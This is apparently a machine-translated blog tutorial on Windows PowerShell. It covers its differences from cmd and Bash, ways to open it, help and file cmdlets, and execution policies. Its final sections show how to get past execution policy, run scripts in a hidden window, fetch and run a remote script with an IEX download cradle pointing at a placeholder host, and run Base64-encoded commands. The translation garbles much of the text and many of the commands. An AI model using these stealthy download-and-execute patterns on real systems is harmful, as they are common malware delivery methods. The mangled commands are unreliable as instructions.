(2) Windows PowerShell use

 # What is PowerShell:

Windows PowerShell is a command-line shell and scripting environment that allows command-line users and script writers can use the power of the .NET Framework. PowerShell is a command more advanced version prompt. It is used to perform tasks such as ping or copy external programs and the like, and can not be automatically executed from cmd.exe different systems management tasks access.

 

PowerShell with cmd difference:

PowerShell Command Prompt
It is based on task-based command-line interface and scripting language associated with the automation of the .NET Framework. It is a Microsoft Windows operating system's default command line interpreter.
It can be explained by batch and PowerShell commands. It can only explain batch commands.
It is used to control applications on Windows servers and automation, and Windows operating systems. It is used on the console to perform a given command can be used to debug problems.
PowerShell is not generated output character stream, and is a collection of objects. Only the generated output command prompt character stream (text).
It is Shell program is scripting environment that supports the creation of large files used to manage the Windows operating system. It's just a shell system that allows the user to perform only simple and basic scripts to execute the batch file.

PowerShell compares with Bash Shell:

PowerShell Bash Shell
PowerShell is most Windows operating systems and the associated command Shell scripting language. Bash is most Linux operating system command Shell programming and scripting languages.
PowerShell launched in 2006. Bash Shell launched in 1989.
Input and output it as an object. It is always accepts input and output as text structure.
The user interface is a graphical PowerShell command-line interface CLI. Bash Shell user interface is text-based command line interface.
It can be performed on the Window 97 or more versions of Windows. The main preparation for Linux and Unix operating systems.

 

Second, how to open PowerShell:

1, in the search at the bottom of Windows, open the direct search

 

2, press win + R input opening PowerShell

 

 3, open the computer, click on the top left of the file, find the open PowerShell

 

4, in the path you need to open the file, press Shift + right mouse button and select Open PowerShell can quickly open the file path in PowerShell

 

 

 

Three, PowerShell commonly used commands:

In the command PowerShell, take the form of "N + V" in

1, see the help: help, view the version: get-host, see verb: get-verb

 

D PS: \ Study> Help 
topic 
Windows PowerShell help system 
Short description 
Displays help about Windows PowerShell cmdlet and the concept of. 
Detailed description 
    "Windows PowerShell Help," describes the Windows PowerShell cmdlet, 
    function, script and modules, and explains the 
    concept of language and other elements of Windows PowerShell. 
    Windows PowerShell is not included in the help file, but you can see the online 
    help topic, or use Update - Help cmdlet help file will download 
    to your computer, and then use the command line Get - Help cmdlet to display the help 
    topic. 
    You can also use Update - Download Help cmdlet when released updated Help file on the site them 
    this way, your local help content will never go out of style. 
    Without the help file, the Get - Help displays information about the cmdlet, automatically generated 
    helper functions and scripts. 

Online Help
    You can find online help for Windows PowerShell in the TechNet library, 
available at HTTP: //go.microsoft.com/fwlink/?LinkID=108518 . 
    To open a cmdlet or function related to any of the online help, type: 
the Get -Help <cmdlet-name> - Online
 - More -

 

 
PS D:\study> Get-Host


Name             : ConsoleHost
Version          : 5.1.17763.1007
InstanceId       : b17b657c-366a-4efa-a95f-a4ba89884117
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : zh-CN
CurrentUICulture : zh-CN
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace



PS D:\study> Get-Verb

Verb        Group
----        -----
Add         Common
Clear       Common
Close       Common
Copy        Common
Enter       Common
Exit        Common
Find        Common
Format      Common
Get         Common
Hide        Common
Join        Common
Lock        Common
Move        Common
New         Common
Open        Common
Optimize    Common
Pop         Common
Push        Common
Redo        Common
Remove      Common
Rename      Common
Reset       Common
Resize      Common
Search      Common
Select      Common
Set         Common
Show        Common
Skip        Common
Split       Common
Step        Common
Switch      Common
Undo        Common
Unlock      Common
Watch       Common
Backup      Data
Checkpoint  Data
Compare     Data
Compress    Data
Convert     Data
ConvertFrom Data
ConvertTo   Data
Dismount    Data
Edit        Data
Expand      Data
Export      Data
Group       Data
Import      Data
Initialize  Data
Limit       Data
Merge       Data
Mount       Data
Out         Data
Publish     Data
Restore     Data
Save        Data
Sync        Data
Unpublish   Data
Update      Data
Approve     Lifecycle
Assert      Lifecycle
Complete    Lifecycle
Confirm     Lifecycle
Deny        Lifecycle
Disable     Lifecycle
Enable      Lifecycle
Install     Lifecycle
Invoke      Lifecycle
Register    Lifecycle
Request     Lifecycle
Restart     Lifecycle
Resume      Lifecycle
Start       Lifecycle
Stop        Lifecycle
Submit      Lifecycle
Suspend     Lifecycle
Uninstall   Lifecycle
Unregister  Lifecycle
Wait        Lifecycle
Debug       Diagnostic
Measure     Diagnostic
Ping        Diagnostic
Repair      Diagnostic
Resolve     Diagnostic
Test        Diagnostic
Trace       Diagnostic
Connect     Communications
Disconnect  Communications
Read        Communications
Receive     Communications
Send        Communications
Write       Communications
Block       Security
Grant       Security
Protect     Security
Revoke      Security
Unblock     Security
Unprotect   Security
Use         Other

 

 2, set the PowerShell policy, under normal circumstances initialization Powershell would prohibit script execution. Script execution strategy depends on whether the Powershell.

The default execution policy as "Restricted".
  • When the execution policy when Restricted:
    win8, policy enforcement of win10 Restricted default. It allows a single command, but does not run the script. Stop all the running script files. Including formatting and configuration files (.ps1xml), module script files (.psm1) and Windows PowerShell profile (.ps1).
  • When executing strategy AllSigned:
    Scripts can run. Requires that all scripts and configuration files by trusted publisher signature, including scripting on the local computer. You will be prompted before (ie, your publisher has not yet classified as trusted or untrusted) running from certain publishers script. There is the risk of running signed but it is a malicious script.
  • When the execution policy when REMOTESIGNED:
    Scripts can run. It requires a digital signature of a trusted publisher from the Internet to download the scripts and configuration files (including e-mail and instant messaging programs). It does not require you to write a script on the local computer (not downloaded from the Internet) with a digital signature. If the script has been unblocked (such as by using Unblock-File cmdlet), then run the downloaded but not signed scripts from the Internet. Unsigned scripts run from outside the presence of the Internet and signed but it is the risk of malicious scripts.
  • When executing strategy UNRESTRICTED:
    Unsigned scripts can run. (This risks running malicious scripts.) Remind users downloaded from the Internet before running scripts and configuration files.
  • When executing strategy BYPASS:
    Do not stop anything, and without any warning or prompt. The execution policy is intended for the configuration described below: in which applications built on Windows PowerShell is a larger, or in which Windows PowerShell is a basic program of its own security model.
  • When executing strategy UNDEFINED:
    The current scope is not set execution policy. If the execution policy in all scopes is Undefined, the effective execution policy is Restricted, which is the default execution policy.
C PS: \ the Users \ Riy> [System.Enum] :: GetNames ([Microsoft.PowerShell.ExecutionPolicy])   # View script execution policy 
Unrestricted 
RemoteSigned 
AllSigned 
Tel Restricted 
the Default 
Bypass 
Undefined 
PS C: \ the Users \ Riy > Get- ExecutionPolicy   # View The current script execution policy 
Tel Restricted 
PS C: \ the Users \ Riy > Set- ExecutionPolicy Unrestricted   # change the script execution policy, there is an error because there is no administrator privileges to open the PowerShell 
the Set -ExecutionPolicy: for the registry key "HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ PowerShell \ 1 \ ShellIds \ 
the Microsoft.PowerShell "access is denied. To change the default (LocalMachine) the scope of the execution policy, use "to manage 
operations officer" option to start Windows PowerShell. To change the current user's execution policy, run "Set-ExecutionPolicy
 -Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
   Exception
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
   s.SetExecutionPolicyCommand
 

 

# Use administrator privileges to open the PowerShell 
PS C: \ WINDOWS \ system32> Set- ExecutionPolicy Undefined 

execution policy change 
execution policy can help prevent script you do not trust. Change the execution policy can create security risks, such as 
HTTPS: /go.microsoft.com/fwlink/?LinkID=135170 in about_Execution_Policies 
help topic. Do you want to change the execution policy ? 
[The Y-] is (Y) [A] full of (A) [N] No (N) [L] No to (L) [S] Pause (S) [ ?] Help (default value as "N"): y

 

3, file operations commonly used commands:

  • New key directory: New-Item -Name 'test' -ItemType 'directory'
  • New File: New-Item -Name 'test.txt'
  • Delete directories or files: Remove-Item test.txt
  • Display text: Get-Content test.txt
  • Setting text: Set-Content test.txt -Value 'Hello World'
  • Append text: Add-Content test.txt -Value 'Love World'
  • Clear text: Clear-Content test.txt
D PS: \ Study> New-Item -Name 'the Test' - ItemType 'Directory'   # Create a directory

 
    directory: D: \ Study 


Mode LastWriteTime the Length the Name
 ---- ------------- - ---- ----- 
d ----- 2020/3/28 0:24                 the Test 


PS d: \ Study > New-Item - the Name 'test.txt'   # Create a file

 
    directory: d: \ Study 


Mode the Length the Name LastWriteTime
 ---- ------------- ------ ---- 
-a ---- 2020/3/28 0:24 0 test.txt 

PS D : \ Study > test.txt the set-content - Value 'the Hello World'   # set the text 
PS D: \ study> Get- Content test.txt   # display the text content of 
the Hello World 
PS D: \ Study > test.txt the Add-Content - Value 'Love World'   # append text 
PS D: \ Study > Get- Content test.txt 
the Hello World 
Love World 
PS D: \ Study > Clear- content test.txt   # Clear text 
PS D: \ Study > Get- content test.txt 
PS D: \ Study > the Test the remove-Item   # delete a file or directory

 

4, bypassing the local authority to execute the script

D PS: \ Study> ' " the Hello World " '> Test.ps1 
PS D: \ Study > \ Test.ps1. 
\ Test.ps1:. Could not load file D: \ study \ test.ps1, because on this system prohibit running script. For more information, see 
HTTPS: /go.microsoft.com/fwlink/?LinkID=135170 in about_Execution_Policies. 
Location Line: 1 Character: 1 
+ \ Test.ps1.
 + ~~~~~~~~~~
     + CategoryInfo: SecurityError: (:) [], PSSecurityException
     + FullyQualifiedErrorId: UnauthorizedAccess
c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World

 

5, execute scripts to bypass the local authority, and hide the implementation, only to see the script is running background

powershell.exe  -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1

 

 

 

6, PowerShell scripts to bypass local download and execute permissions

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString('http://xxxx/test.ps1')
Hello World

 

 

 

 7, Base64-encoded commands to PowerShell

c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy

 

Guess you like

Origin www.cnblogs.com/riyir/p/12585290.html